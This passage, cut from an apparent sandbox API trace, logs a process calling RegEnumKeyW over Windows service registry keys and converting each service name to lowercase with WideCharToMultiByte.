cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0239.247] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0239.247] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0239.247] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1e38, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0239.247] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0239.248] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0239.249] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0239.249] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1928, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0239.249] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0239.249] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0239.249] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0239.250] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0239.251] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0239.251] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0239.251] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0239.251] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0239.251] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0239.252] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0239.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0239.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0239.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0239.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0239.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0239.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0239.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0239.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0239.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, 